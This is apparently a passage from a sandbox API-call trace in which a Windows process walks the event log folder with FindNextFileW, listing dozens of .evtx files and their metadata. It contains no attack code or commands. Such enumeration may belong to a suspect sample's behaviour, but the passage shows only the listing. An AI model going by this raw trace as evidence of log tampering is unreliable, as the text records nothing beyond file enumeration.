	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1
	[0240.475] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1
	[0240.476] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1
	[0240.476] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1
	[0240.476] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1
	[0240.476] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1
	[0240.476] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1
	[0240.476] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1
	[0240.476] VirtualAlloc (lpAddress=0xc0004e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e4000
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1
	[0240.477] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1
	[0240.478] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1
	[0240.478] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1
	[0240.478] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1
	[0240.479] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1
	[0240.480] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1
